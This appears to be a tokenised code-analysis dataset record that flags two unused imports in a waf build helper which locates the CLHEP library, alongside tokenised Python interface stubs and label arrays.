"\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "Boo", "lean", " ", "represent", "ing", " ", "whe", "ther", " ", "is", " ", "a", " ", "TTY", "-", "like", " ", "device", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Read_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "read_", "(_", "size_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "read", " ", "avail", "able", " ", "bytes", " ", "from", " ", "stream", ",", " ", "limit", " ", "to", " ", "size", " ", "if", " ", "specified", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Write_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "write_", "(_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Write", " ", "the", " ", "string", " ", "to", " ", "the", " ", "stream", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Read", "Line_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "readline_", "(_", "size_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "read", " ", "a", " ", "line", " ", "from", " ", "stream", ",", " ", "limit", " ", "bytes", " ", "read", " ", "to", " ", "~", " ", "size", " ", "if", " ", "specified", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Read", "Lines_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "readlines_", "(_", "size_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "read", " ", "lines", " ", "from", " ", "stream", ",", " ", "limit", " ", "bytes", " ", "read", " ", "to", " ", "~", " ", "size", " ", "if", " ", "specified", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "XR", "ead", "Lines_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "xre", "adl", "ines_", "(_", "size_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "read", " ", "lines", " ", "from", " ", "stream", ",", " ", "limit", " ", "bytes", " ", "read", " ", "to", " ", "~", " ", "size", " ", "if", " ", "specified", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Write", "Lines_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "writelines_", "(_", "iterable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Iterat", "e", " ", "over", " ", "the", " ", "iterable", " ", "writ", "ing", " ", "each", " ", "result", "ing", " ", "string", " ", "to", " ", "stream", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Seek", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "seek_", "(_", "offset_", ",_", "whe", "nce_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "seek", "(", "offset", "[", ",", " ", "whe", "nce", "])", " ", "->", " ", "Non", "e", ".", " ", " ", "Move", " ", "to", " ", "new", " ", "stream", " ", "position", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Arg", "ument", " ", "offset", " ", "is", " ", "a", " ", "byte", " ", "count", ".", " ", " ", "Optio", "nal", " ", "argu", "ment", " ", "whe", "nce", " ", "default", "s", " ", "to", "\\", "10", ";", "\t", "\t", "0", " ", "(", "offset", " ", "from", " ", "start", " ", "of", " ", "file", ",", " ", "offset", " ", "shou", "ld", " ", "be", " ", ">=", " ", "0", ");", " ", "other", " ", "values", " ", "are", " ", "1", "\\", "10", ";", "\t", "\t", "(", "move", " ", "relative", " ", "to", " ", "current", " ", "position", ",", " ", "posit", "ive", " ", "or", " ", "negati", "ve", "),", " ", "and", " ", "2", " ", "(", "move", "\\", "10", ";", "\t", "\t", "relative", " ", "to", " ", "end", " ", "of", " ", "file", ",", " ", "usual", "ly", " ", "negati", "ve", ",", " ", "alth", "ou", "gh", " ", "many", " ", "platform", "s", " ", "allow", "\\", "10", ";", "\t", "\t", "seek", "ing", " ", "be", "yon", "d", " ", "the", " ", "end", " ", "of", " ", "a", " ", "file", ").", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Tell", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "tell_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "return", " ", "current", " ", "file", " ", "position", " ", "(", "integ", "er", " ", "or", " ", "long", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Truncate", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "truncate_", "(_", "size_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Truncate", "d", " ", "stream", " ", "to", " ", "give", "n", " ", "size", ",", " ", "or", " ", "current", " ", "position", " ", "if", " ", "not", " ", "specified", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tring", "IO", "Get", "Value_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "getvalue_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Retrieve", " ", "the", " ", "current", " ", "value", " ", "of", " ", "the", " ", "string", " ", "buffer", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IB", "SD", "Iteration_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "first_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "return", " ", "the", " ", "first", " ", "key", " ", "in", " ", "the", " ", "databa", "se", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IB", "SD", "Iteration_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "next_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "return", " ", "the", " ", "key", " ", "in", " ", "the", " ", "databa", "se", " ", "after", " ", "give", "n", " ", "key", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IB", "SD", "Iteration_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "last_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "return", " ", "the", " ", "last", " ", "key", " ", "in", " ", "the", " ", "databa", "se", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IB", "SD", "Iteration_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "previous_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "return", " ", "the", " ", "key", " ", "in", " ", "the", " ", "databa", "se", " ", "bef", "ore", " ", "give", "n", " ", "key", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IB", "SD", "Iteration_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sync_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "synchronize", " ", "in", "-", "memory", " ", "databa", "se", " ", "with", " ", "on", "-", "disk", " ", "databa", "se", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IB", "SD", "Iterat", "ion", "Set", "Location_", "(_", "IB", "SD", "Iteration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set\\u", "location_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Set", " ", "cursor", " ", "to", " ", "item", " ", "indicat", "ed", " ", "by", " ", "key", ",", " ", "return", " ", "(", "key", ",", "value", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "IO", "String_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "tostring_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Convert", " ", "to", " ", "array", " ", "of", " ", "machine", " ", "values", " ", "and", " ", "return", " ", "as", " ", "string", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "IO", "String_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fromstring_", "(_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Append", "s", " ", "items", " ", "from", " ", "string", " ", "(", "sequence", " ", "of", " ", "machine", " ", "values", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "IO", "List_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "tolist_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Convert", " ", "to", " ", "list", " ", "of", " ", "element", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "IO", "List_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "froml", "ist_", "(_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Append", "s", " ", "items", " ", "from", " ", "list", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "IO", "File_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "tofi", "le_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Write", " ", "to", " ", "file", " ", "as", " ", "array", " ", "of", " ", "machine", " ", "values", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "IO", "File_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fromfile_", "(_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Append", "s", " ", "from", " ", "file", "/", "stream", " ", "as", " ", "array", " ", "of", " ", "machine", " ", "values", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IA", "rray", "Byte", "swap_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "bytes", "wap", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Byte", "-", "swap", " ", "the", " ", "array", " ", "data", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
hwaf/hwaf/py-hwaftools/find_clhep.py
[ { "content": "# -*- python -*-\n\n# stdlib imports ---\nimport os\nimport os.path as osp\n\n# waf imports ---\nimport waflib.Utils\nimport waflib.Logs as msg\nfrom waflib.Configure import conf\n\n#\n_heptooldir = osp.dirname(osp.abspath(__file__))\n\n\n\n\n## EOF ##\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def options(opt):\n opt.load('hwaf-base', tooldir=_heptooldir)\n opt.add_option(\n '--with-clhep',\n default=None,\n help=\"Look for CLHEP at the given path\")\n return", "metadata": "root.options", "header": "['module', '___EOS___']", "index": 14 }, { "content": "def configure(conf):\n conf.load('hwaf-base', tooldir=_heptooldir)\n return", "metadata": "root.configure", "header": "['module', '___EOS___']", "index": 22 }, { "content": "@conf\ndef find_clhep(ctx, **kwargs):\n \n if not ctx.env.HWAF_FOUND_C_COMPILER:\n ctx.fatal('load a C compiler first')\n pass\n\n if not ctx.env.HWAF_FOUND_CXX_COMPILER:\n ctx.fatal('load a C++ compiler first')\n pass\n\n\n # find CLHEP\n clhep_cfg = \"clhep-config\"\n path_list = waflib.Utils.to_list(kwargs.get('path_list', []))\n if getattr(ctx.options, 'with_clhep', None):\n topdir = ctx.options.with_clhep\n topdir = ctx.hwaf_subst_vars(topdir)\n clhep_cfg = osp.abspath(osp.join(topdir, \"bin\", \"clhep-config\"))\n path_list.append(osp.join(topdir, \"bin\"))\n pass\n kwargs['path_list']=path_list\n \n ctx.find_program(\n clhep_cfg, \n var='CLHEP-CONFIG',\n **kwargs)\n clhep_cfg = ctx.env['CLHEP-CONFIG']\n\n ctx.check_with(\n ctx.check_cfg,\n \"clhep\",\n path=clhep_cfg,\n package=\"\",\n uselib_store=\"CLHEP\",\n args='--include --libs --ldflags',\n **kwargs)\n\n clhep_libs = '''\\\n CLHEP-Cast\n CLHEP-Evaluator\n CLHEP-Exceptions\n CLHEP-GenericFunctions\n CLHEP-Geometry\n CLHEP-Matrix\n CLHEP-Random\n CLHEP-RandomObjects\n CLHEP-RefCount\n CLHEP-Vector\n '''\n\n for lib in clhep_libs.split():\n libname = lib.strip()\n for n in ('INCLUDES',\n 'LIBPATH',\n 'LINKFLAGS'):\n k = '%s_CLHEP'%n\n ctx.env[k] = [ \n # sanitize paths\n p.replace(\"'\", \"\").replace('\"', '')\n for p in ctx.env[k] \n ]\n ctx.env['%s_%s'%(n,libname)] = ctx.env[k][:]\n # massage -lCLHEP-$(version)\n # into -lCLHEP-$(sublib)-$(version)\n ctx.env['LIB_%s'%libname] = [l.replace('CLHEP',libname)\n for l in ctx.env['LIB_CLHEP']]\n pass\n\n version = ctx.check_cxx(\n msg=\"Checking clhep version\",\n okmsg=\"ok\",\n fragment='''\\\n #include \"CLHEP/ClhepVersion.h\"\n #include <iostream>\n\n int main(int argc, char* argv[]) {\n std::cout << CLHEP::Version::String();\n return 0;\n }\n ''',\n use=\"CLHEP\",\n define_name = \"HWAF_CLHEP_VERSION\",\n define_ret = True,\n execute = True,\n mandatory=True,\n )\n ctx.start_msg(\"clhep version\")\n ctx.end_msg(version)\n\n ctx.env.CLHEP_VERSION = version\n ctx.env.HWAF_FOUND_CLHEP = 1\n return", "metadata": "root.find_clhep", "header": "['module', '___EOS___']", "index": 26 } ]
[ { "span": "import os", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 9 }, { "span": "import waflib.Logs as msg", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 25 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "python", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stdlib", " ", "import", "s", " ", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "as_", "osp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "waf", " ", "import", "s", " ", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "waf", "lib_", "._", "Utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "waf", "lib_", "._", "Logs_", "as_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "waf", "lib_", "._", "Configure", "_", "import_", "conf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "hep", "tool", "dir_", "=_", "osp_", "._", "dirname_", "(_", "osp_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "EO", "F", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "options_", "(_", "opt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opt_", "._", "load_", "(_", "'", "hwa", "f", "-", "base", "'_", ",_", "tool", "dir_", "=_", "\\u", "hep", "tool", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opt_", "._", "add", "\\u", "option_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "with", "-", "cl", "hep", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Look", " ", "for", " ", "CL", "HE", "P", " ", "at", " ", "the", " ", "give", "n", " ", "path", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "configure_", "(_", "conf_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conf_", "._", "load_", "(_", "'", "hwa", "f", "-", "base", "'_", ",_", "tool", "dir_", "=_", "\\u", "hep", "tool", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "conf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find", "\\u", "cl", "hep", "_", "(_", "ctx_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "C", "\\u", "COMPILER", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "fatal_", "(_", "'", "load", " ", "a", " ", "C", " ", "compiler", " ", "first", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "CXX", "\\u", "COMPILER", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "fatal_", "(_", "'", "load", " ", "a", " ", "C", "++", " ", "compiler", " ", "first", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "CL", "HE", "P_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cl", "hep", "\\u", "cfg_", "=_", "\"", "cl", "hep", "-", "config", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "list_", "=_", "waf", "lib_", "._", "Utils_", "._", "to", "\\u", "list_", "(_", "kwargs_", "._", "get_", "(_", "'", "path", "\\u", "list", "'_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "getattr_", "(_", "ctx_", "._", "options_", ",_", "'", "with", "\\u", "cl", "hep", "'_", ",_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topdi", "r_", "=_", "ctx_", "._", "options_", "._", "with", "\\u", "cl", "hep", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topdi", "r_", "=_", "ctx_", "._", "hwa", "f", "\\u", "subst", "\\u", "vars_", "(_", "topdi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cl", "hep", "\\u", "cfg_", "=_", "osp_", "._", "abspath_", "(_", "osp_", "._", "join_", "(_", "topdi", "r_", ",_", "\"", "bin", "\"_", ",_", "\"", "cl", "hep", "-", "config", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "list_", "._", "append_", "(_", "osp_", "._", "join_", "(_", "topdi", "r_", ",_", "\"", "bin", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kwargs_", "[_", "'", "path", "\\u", "list", "'_", "]_", "=_", "path", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "find", "\\u", "program_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "cl", "hep", "\\u", "cfg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "var_", "=_", "'", "CL", "HE", "P", "-", "CONFIG", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cl", "hep", "\\u", "cfg_", "=_", "ctx_", "._", "env_", "[_", "'", "CL", "HE", "P", "-", "CONFIG", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "check", "\\u", "with_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "check", "\\u", "cfg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cl", "hep", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "cl", "hep", "\\u", "cfg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "package_", "=_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "usel", "ib", "\\u", "store_", "=_", "\"", "CL", "HE", "P", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "=_", "'--", "include", " ", "--", "libs", " ", "--", "ldf", "lags", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cl", "hep", "\\u", "libs_", "=_", "'''", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Cast", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Eval", "uator", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Except", "ion", "s", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Gene", "ric", "Function", "s", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Geometr", "y", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Matrix", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Random", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", "P", "-", "Random", "Object", "s", "\\", "10", ";", " ", " ", " ", " ", "CL", "HE", 